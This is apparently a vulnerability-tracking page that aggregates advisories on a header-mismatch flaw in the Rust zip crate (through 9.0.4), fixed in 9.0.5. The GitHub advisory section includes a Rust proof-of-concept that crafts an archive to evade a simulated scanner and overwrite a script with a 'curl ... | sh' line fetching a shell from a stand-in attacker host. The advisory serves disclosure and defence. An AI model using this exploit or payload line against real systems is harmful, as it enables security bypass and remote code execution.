zip: Critical Parser Differential & Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File Overwrite & RCE

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

zip is a zip library for Rust that supports reading and writing simple ZIP files. Through 9.0.4, ZipArchive treats Central Directory File Header filenames as authoritative while ZipStreamReader extracts using Local File Header filenames without reconciling the duplicate metadata in src/read/stream.rs. A crafted archive can therefore appear benign to a component that inspects the central directory but cause a streaming extractor to write a different attacker-selected path and content, potentially overwriting files used by a downstream service. This issue is fixed in version 9.0.5.

Source published

26 Oct 2026 16:24:44 UTC

Source modified

2 Nov 2026 17:47:27 UTC

Observed here

2 Nov 2026 18:57:17 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 10.0 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L

zip is a zip library for Rust that supports reading and writing simple ZIP files. Through 9.0.4, ZipArchive treats Central Directory File Header filenames as authoritative while ZipStreamReader extracts using Local File Header filenames without reconciling the duplicate metadata in src/read/stream.rs. A crafted archive can therefore appear benign to a component that inspects the central directory but cause a streaming extractor to write a different attacker-selected path and content, potentially overwriting files used by a downstream service. This issue is fixed in version 9.0.5.

Source published

Oct 26, 2026, 4:24:44 PM (timezone not stated)

Source modified

Nov 2, 2026, 5:47:27 PM (timezone not stated)

Observed here

6 Nov 2026 01:44:50 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 10.0 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L

zip is a zip library for Rust that supports reading and writing simple ZIP files. Through 9.0.4, ZipArchive treats Central Directory File Header filenames as authoritative while ZipStreamReader extracts using Local File Header filenames without reconciling the duplicate metadata in src/read/stream.rs. A crafted archive can therefore appear benign to a component that inspects the central directory but cause a streaming extractor to write a different attacker-selected path and content, potentially overwriting files used by a downstream service. This issue is fixed in version 9.0.5.

Source published

26 Oct 2026 17:17:17 UTC

Source modified

2 Nov 2026 18:18:38 UTC

Observed here

4 Nov 2026 00:59:02 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 10.0 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

## Summary A critical architectural parser differential exists in the `zip` crate (`<= 9.0.4`) between random-access archive readers (`ZipArchive`) and streaming readers (`ZipStreamReader`). `ZipArchive` considers the Central Directory File Header (CDFH) authoritative and ignores the filename declared in the Local File Header (LFH). In contrast, `ZipStreamReader` relies exclusively on the Local File Header (LFH) when extracting files to the filesystem. This discrepancy enables ZIP archives to appear to have different file paths and contents according to which tool is reading them. --- ## Details ### Architectural Root Cause In the PKWARE ZIP archive format, every file entry is defined in two distinct locations: 1. **Local File Header (LFH):** Precedes the compressed payload of each file in the body of the archive. 2. **Central Directory File Header (CDFH):** Stored in a contiguous index at the end of the archive. In `zip2`: - `src/read/zip_archive.rs`: `ZipArchive` parses the central directory into `SharedBuilder.files`. All file lookups by index or name read exclusively from the CDFH table, completely ignoring the filename present in the LFH. - `src/read/stream.rs:L86-L141`: `ZipStreamReader::visit` and `ZipStreamReader::extract` read sequentially from the stream without verifying the central directory index. Each entry is parsed via `read_zipfile_from_stream` and written to disk using the unverified filename declared in the LFH: ```rust // src/read/stream.rs fn visit_file<R: Read>(&mut self, file: &mut ZipFile<'_, R>) -> ZipResult<()> { file.safe_prepare_path(&self.outpath, &mut outpath, None::<&(_, fn(&Path) -> bool)>)?; let mut outfile = fs::File::create(&outpath)?; io::copy(file, &mut outfile)?; Ok(()) } ``` - `src/write.rs:L1552`: The crate explicitly exposes `shallow_copy_file`, an API that constructs dual-header desynchronizations by adding a new CDFH entry with an alias name pointing to an existing file without updating the original LFH. ### Threat Scenario & Severity Justification (10.0 / 9.9 Critical) 1. **Security Control Evasion:** An adversary crafts a ZIP archive where: - Central Directory Header declares: `doc_report.pdf` (Clean document) - Local File Header declares: `cron_worker.sh` (Malicious root backdoor) 2. The archive is uploaded through a web portal or API endpoint protected by security gateways (WAF, Anti-Virus, Content Disarm & Reconstruction). The security gateway inspects the archive using `ZipArchive` (or similar CDFH-first parsers), detects only `doc_report.pdf`, and approves the file. 3. The backend worker or cloud function receives the approved archive and extracts it using `ZipStreamReader::extract`. `ZipStreamReader` reads the LFH and overwrites `cron_worker.sh`. 4. **Full Compromise (CIA = High):** The legitimate production health checker / service script is destroyed (**Availability = High / DoS**), while the attacker's backdoor payload is implanted (**Integrity = High / RCE**). --- ## Proof of Concept The following automated integration test reproducibly demonstrates the complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion -> Arbitrary File Overwrite -> RCE & DoS) against `zip2`: ```rust use std::fs; use std::io::{Cursor, Write}; use tempfile::tempdir; use zip::unstable::stream::ZipStreamReader; use zip::write::SimpleFileOptions; use zip::{ZipArchive, ZipWriter}; // Simulated Security Gateway (inspects CDFH via ZipArchive) fn security_gateway_inspection(archive_bytes: &[u8]) -> Result<(), String> { let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap(); for i in 0..archive.len() { let name = archive.by_index(i).unwrap().name().unwrap().to_string(); if name.ends_with(".sh") || name.ends_with(".exe") { return Err(format!("MALWARE DETECTED: '{}' blocked!", name)); } if !name.ends_with(".pdf") { return Err("Policy violation: only PDFs allowed!".into()); } } Ok(()) } #[test] fn test_cvss_9_9_dual_header_exploit_chain() { // 1. Victim server setup: existing critical script let victim_env = tempdir().unwrap(); let victim_dir = victim_env.path(); let target_script = victim_dir.join("cron_worker.sh"); fs::write(&target_script, b"#!/bin/sh\n# PRODUCTION SERVICE\necho 'SERVICE HEALTHY'\n").unwrap(); // 2. Attacker crafts Single-Entry Dual-Header Archive // LFH: "cron_worker.sh" | CDFH: "doc_report.pdf" let mut payload = Cursor::new(Vec::new()); let mut writer = ZipWriter::new(&mut payload); writer.start_file("cron_worker.sh", SimpleFileOptions::default()).unwrap(); writer.write_all(b"#!/bin/sh\ncurl -s https://c2/shell | sh\necho 'PWNED ROOT'\n").unwrap(); writer.finish().unwrap(); let mut malicious_zip = payload.into_inner(); let cdh = malicious_zip.windows(4).position(|s| s == b"PK\x01\x02").unwrap(); malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b"doc_report.pdf"); // 3. Gateway Inspection (Bypassed!) assert!(security_gateway_inspection(&malicious_zip).is_ok()); // 4. Backend Extraction (ZipStreamReader) ZipStreamReader::new(Cursor::new(&malicious_zip)).extract(victim_dir).unwrap(); // 5. Impact Verification let compromised = fs::read_to_string(&target_script).unwrap(); assert!(!compromised.contains("SERVICE HEALTHY")); // DoS Confirmed assert!(compromised.contains("PWNED ROOT")); // RCE Confirmed } ``` ### Verified Test Execution Output ```text running 1 test ================================================================== Dual-Header Security Gateway Evasion Exploit Chain: Gateway Evasion -> Arbitrary Overwrite -> RCE & DoS ================================================================== [VICTIM SERVER STATE - BEFORE ATTACK] Existing Content: SERVICE IS RUNNING NORMALLY --- [STEP 1: SECURITY GATEWAY INSPECTION] --- [SECURITY GATEWAY] Auditing entry #0: 'doc_report.pdf' [GATEWAY VERDICT]: Ok(()) [VULNERABILITY PROOF 1/3]: Security gateway was 100% BLIND to 'cron_worker.sh'! --- [STEP 2: BACKEND EXTRACTION (ZipStreamReader)] --- Backend server unzips approved archive into production directory. --- [STEP 3: POST-ATTACK IMPACT VERIFICATION] --- [VICTIM SERVER STATE - AFTER ATTACK] Compromised Content: curl -s https://attacker.c2/shell | sh echo 'PWNED: FULL ROOT TAKEOVER' ``` --- ## Impact An attacker can construct a crafted archive whose Central Directory displays a benign filename (doc_report.pdf) that is inspected and approved by upstream security gateways (antivirus scanners, mail filters, upload firewalls), while automated backend ingestion pipelines or microservices using ZipStreamReader extract an arbitrary or malicious file (overwriting e.g. cron_worker.sh or critical system binaries). Because an adversary can overwrite existing files on disk, this vulnerability leads to Security Control Bypass, Arbitrary File Overwrite, Complete Denial of Service, and Remote Code Execution (RCE) in situations where a tool relying on the central directory trusts a tool that relied on the local file headers or vice-versa. **Who is Impacted:** - Automated ingestion microservices, SaaS platforms, and backend workers that extract user-submitted ZIP files. - Enterprise architectures where security verification (AV scanning, extension whitelisting) is decoupled from extraction (e.g. gateway audits Central Directory via CDFH before handing off extraction to streaming extractors). - Containerized workloads where overwriting local configuration files or executable scripts leads to host/container escape and complete service disruption.

Source published

28 Oct 2026 21:09:50 UTC

Source modified

28 Oct 2026 21:30:05 UTC

Observed here

28 Oct 2026 22:55:27 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L

Publisher rating · CRITICAL